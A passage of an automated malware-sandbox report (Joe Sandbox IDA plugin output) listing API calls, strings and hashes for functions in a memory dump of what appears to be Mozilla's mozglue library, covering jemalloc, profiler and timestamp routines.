GetCurrentThreadId.KERNEL32 ref: 6C8EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF000

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8EF02F

Part of subcall function 6C8EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8EF09B
Part of subcall function 6C8EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C8EF0AC
Part of subcall function 6C8EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C8EF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C8EEED7
[I %d/%d] profiler_pause, xrefs: 6C8EF008

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 6783babdc5b14b5159f8f827f211ccdc96773e2a4a37faa639ea648c930cb5ae
Instruction ID: 54017187982bf561f18153b006c91952c7e6103fd42ad0c2a17ef3800eb015ce
Opcode Fuzzy Hash: 6783babdc5b14b5159f8f827f211ccdc96773e2a4a37faa639ea648c930cb5ae
Instruction Fuzzy Hash: 5451FA71628225DFDB206B68D50CB9577B8EB4B31CF300A65E99A83F40D7BD9804C7E2

Function 6C8DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C92E804), ref: 6C8DD047
GetSystemInfo.KERNEL32(?), ref: 6C8DD093
__Init_thread_footer.LIBCMT ref: 6C8DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C92E810,00000040), ref: 6C8DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C92E7B8,00001388), ref: 6C8DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C92E744,00001388), ref: 6C8DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C92E784,00001388), ref: 6C8DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C92E7DC,00001388), ref: 6C8DD1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C8DD26D
MOZ_CRASH(), xrefs: 6C8DD277
<jemalloc>, xrefs: 6C8DD268, 6C8DD311
MALLOC_OPTIONS, xrefs: 6C8DD0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C8DD322

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 8cb6ee936b041a3be704e6b0598a048070a3594eab11a51293b0f75b08d0232a
Instruction ID: c35ec18fc95f7ae24fa2104f444edeaf8db347067ce08ebfa04d8e7eb2a20641
Opcode Fuzzy Hash: 8cb6ee936b041a3be704e6b0598a048070a3594eab11a51293b0f75b08d0232a
Instruction Fuzzy Hash: ED810A70B692049BDB209F78CA84B6977F8FB46705F21092AE5C297B40D779E805CFE1

Function 6C8EFAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8EFADC
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EFAE9
GetCurrentThreadId.KERNEL32 ref: 6C8EFB31
GetCurrentThreadId.KERNEL32 ref: 6C8EFB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C8EFBF6
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EFC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6C8EFD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6C8EFC94

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 11fc52545911e8e0b6cc3062ca9a16d752b8ac73199d577eb4c050cc057824d4
Instruction ID: a7bc33538332c5a8f41b6d2101c680042d6d036f28e3382c4eeae2649f79b038
Opcode Fuzzy Hash: 11fc52545911e8e0b6cc3062ca9a16d752b8ac73199d577eb4c050cc057824d4
Instruction Fuzzy Hash: D6711771A08710CFD720DF28D644B9AB7F0FF9A308F214D69E88987B51E774A804CB92

Function 6C8B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B5E9D

Part of subcall function 6C8C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B85
Part of subcall function 6C8C5B50: EnterCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B90
Part of subcall function 6C8C5B50: LeaveCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5BD8
Part of subcall function 6C8C5B50: GetTickCount64.KERNEL32 ref: 6C8C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C8B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C8B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C8B6017

Part of subcall function 6C8A4310: moz_xmalloc.MOZGLUE(00000010,?,6C8A42D2), ref: 6C8A436A
Part of subcall function 6C8A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8A42D2), ref: 6C8A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C8B5F47
GetCurrentProcess.KERNEL32 ref: 6C8B5F53
GetCurrentThread.KERNEL32 ref: 6C8B5F5C
GetCurrentProcess.KERNEL32 ref: 6C8B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C8B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C8B5F27

Part of subcall function 6C8BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C8BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8B55E1), ref: 6C8B5E8C

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8B55E1), ref: 6C8B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8B55E1), ref: 6C8B60CC

Strings

GeckoMain, xrefs: 6C8B5ECE, 6C8B6015

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 6be4d762d838074e961f37f372348dc2fa292e9c925fff72aaf38d10737d482a
Instruction ID: f2775420a3db4d9d42352b0ed4983ddf31cdd22cff42e55992c888be8f200ce7
Opcode Fuzzy Hash: 6be4d762d838074e961f37f372348dc2fa292e9c925fff72aaf38d10737d482a
Instruction Fuzzy Hash: DB71E2B0A087409FD720DF29C580A6ABBF0FF5A308F544D6DE48697B42D774E949CB92

Function 6C8B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8A3217
Part of subcall function 6C8A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8A3236
Part of subcall function 6C8A31C0: FreeLibrary.KERNEL32 ref: 6C8A324B
Part of subcall function 6C8A31C0: __Init_thread_footer.LIBCMT ref: 6C8A3260
Part of subcall function 6C8A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8A327F
Part of subcall function 6C8A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8A328E
Part of subcall function 6C8A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8A32AB
Part of subcall function 6C8A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8A32D1
Part of subcall function 6C8A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8A32E5
Part of subcall function 6C8A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8B9675
__Init_thread_footer.LIBCMT ref: 6C8B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8B9707
__Init_thread_footer.LIBCMT ref: 6C8B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8B97B7
FreeLibrary.KERNEL32 ref: 6C8B97D0
FreeLibrary.KERNEL32 ref: 6C8B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8B9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8B9670
ntdll.dll, xrefs: 6C8B96E3
NtMapViewOfSection, xrefs: 6C8B9701
MapViewOfFileNuma2, xrefs: 6C8B97B1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f46a84339ba2ea4368a2d7b21ac25aa1f9006e2127b857339cec14717cbad302
Instruction ID: 5560e98dd7362061a386a84b53eedfc93ad9e51e5421f15a35fd54c11d348333
Opcode Fuzzy Hash: f46a84339ba2ea4368a2d7b21ac25aa1f9006e2127b857339cec14717cbad302
Instruction Fuzzy Hash: 7261F571618215DBDF10CF68DA84B9A7BF4FB4B718F204929E9D5A3740D738E844CB91

Function 6C8A3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E768,?,00003000,00000004), ref: 6C8A3AC5
LeaveCriticalSection.KERNEL32(6C92E768,?,00003000,00000004), ref: 6C8A3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6C8A3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C8A3B57
EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8A3B81
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A3BA3
EnterCriticalSection.KERNEL32(6C92E7B8), ref: 6C8A3BAE
LeaveCriticalSection.KERNEL32(6C92E7B8), ref: 6C8A3C74
EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8A3C8B
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A3C9F
LeaveCriticalSection.KERNEL32(6C92E7B8), ref: 6C8A3D5C
EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8A3D67
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A3D8A

Part of subcall function 6C8E0D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C8A3DEF), ref: 6C8E0D71
Part of subcall function 6C8E0D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C8A3DEF), ref: 6C8E0D84

Strings

MOZ_CRASH(), xrefs: 6C8A3DB2
<jemalloc>, xrefs: 6C8A3DC7
: (malloc) Error in VirtualFree(), xrefs: 6C8A3DCC

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: d1a50d8afce4c74652c7afdf5fb3cd05a96d645f1fb654dec9e659a51af4f81d
Instruction ID: 421b1e8c12090171bdd1fd48c24a33f6110c9ddfff2c44d99710b8368f51fd6d
Opcode Fuzzy Hash: d1a50d8afce4c74652c7afdf5fb3cd05a96d645f1fb654dec9e659a51af4f81d
Instruction Fuzzy Hash: 1C91E331B142049FCB24CFB8CAC076A77B6FB86715B210928E5929BB85D774EC02CBC1

Function 6C8B7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C8B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C8B801D

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C8B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C8B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C8B808D

Part of subcall function 6C8BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C8BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C8B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C8B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C8B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C8B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C8B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C8B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C8B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8B8199

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 4572b9282c52a5bb39a38934d5dcae1bba7dcf93c22f99963bd8a939b956ed7a
Instruction ID: 77e1a7d7ac6a84c41e3eb98a676c8bd184c46f7f4759df583cdb52475ae60d3e
Opcode Fuzzy Hash: 4572b9282c52a5bb39a38934d5dcae1bba7dcf93c22f99963bd8a939b956ed7a
Instruction Fuzzy Hash: A251B3B1E002099BDF10DBA9DD80AEFB7B8AF59264F240935E815F7741E730E904CBA1

Function 6C8B11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C8B1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8B1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C8B12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C8B1327

Strings

TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C8B12AD
&, xrefs: 6C8B126B
MZx, xrefs: 6C8B11E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C8B120D
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C8B131B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 3d88a0e0060389525c059b54fb4df796089d03e46f44e5f90748768bb41ad37f
Instruction ID: f9035c72a05952d41e37246c5ee776548d1f0fa920fae3caf468d138d9b7b810
Opcode Fuzzy Hash: 3d88a0e0060389525c059b54fb4df796089d03e46f44e5f90748768bb41ad37f
Instruction Fuzzy Hash: 4971A571E057588ADB209F68C9447DEB7F5BF49309F040A6DD445B7B40E738AA88CB92

Function 6C8A31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8A3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8A3236
FreeLibrary.KERNEL32 ref: 6C8A324B
__Init_thread_footer.LIBCMT ref: 6C8A3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8A327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8A328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8A32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8A32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8A32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8A32F7

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

__aulldiv.LIBCMT ref: 6C8A346B

Strings

QueryInterruptTime, xrefs: 6C8A3230
KernelBase.dll, xrefs: 6C8A3212

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 033b8fb3f859d9660682a40dc6857c83a1ac3b96e39df7713085dc1bc4c2f6a2
Instruction ID: 526d415ddd476eabb0e91bf5b9fc6d4854aaf8abb59ad8144d1dfe5091b727e1
Opcode Fuzzy Hash: 033b8fb3f859d9660682a40dc6857c83a1ac3b96e39df7713085dc1bc4c2f6a2
Instruction Fuzzy Hash: 0C61E171A187418BCB21CF78C45165AB3F5FFC6354F218B2DE8A6A3690DB34D94ACB42

Function 6C906660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C92F618), ref: 6C906694
GetThreadId.KERNEL32(?), ref: 6C9066B1
GetCurrentThreadId.KERNEL32 ref: 6C9066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9066E1
EnterCriticalSection.KERNEL32(6C92F618), ref: 6C906734
GetCurrentProcess.KERNEL32 ref: 6C90673A
LeaveCriticalSection.KERNEL32(6C92F618), ref: 6C90676C
GetCurrentThread.KERNEL32 ref: 6C9067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C906868
RtlCaptureContext.NTDLL ref: 6C90687F

Strings

WalkStack64, xrefs: 6C906890

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: ff667de7d9cd12a731944d84c36bcaf7bb8c40e609a159a64830a35247415eab
Instruction ID: 7e3bb96493c3979dd20d4a62b9b0a592c184575fd40e3f021e8dccd8f96dcd98
Opcode Fuzzy Hash: ff667de7d9cd12a731944d84c36bcaf7bb8c40e609a159a64830a35247415eab
Instruction Fuzzy Hash: 6A51B871A19300AFDB11CF24C884B9ABBF8FF89B14F10492DF99987640D774E948CB92

Function 6C8EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EDE73
GetCurrentThreadId.KERNEL32 ref: 6C8EDF7D
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EDF8A
